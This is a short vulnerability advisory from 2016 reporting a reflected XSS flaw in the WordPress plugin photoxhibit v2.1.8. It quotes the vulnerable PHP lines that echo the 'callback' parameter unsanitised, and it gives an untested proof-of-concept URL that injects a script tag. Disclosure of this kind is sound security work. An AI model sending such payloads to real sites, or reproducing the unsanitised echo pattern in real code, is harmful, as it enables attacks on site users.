Advisory #: 782
Title: Reflected XSS in wordpress plugin photoxhibit v2.1.8
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/photoxhibit
Downloads: 34643
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: photoxhibit
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./photoxhibit/photoxhibit.php: 256: echo $_GET['callback'].'('.$json->serialize($r).');'; 259: echo $_GET['callback'].'('.json_encode($r).');'; 280: echo $_GET['callback'].'('.$json->serialize($r).');'; 283: echo $_GET['callback'].'('.json_encode($r).');'; 287: echo $_GET['callback'].'({"result":"noimage","msg":"No Images in this album"})'; The variable callback appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./photoxhibit/photoxhibit.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/photoxhibit/photoxhibit.php?callback="><script>alert(1);</script><"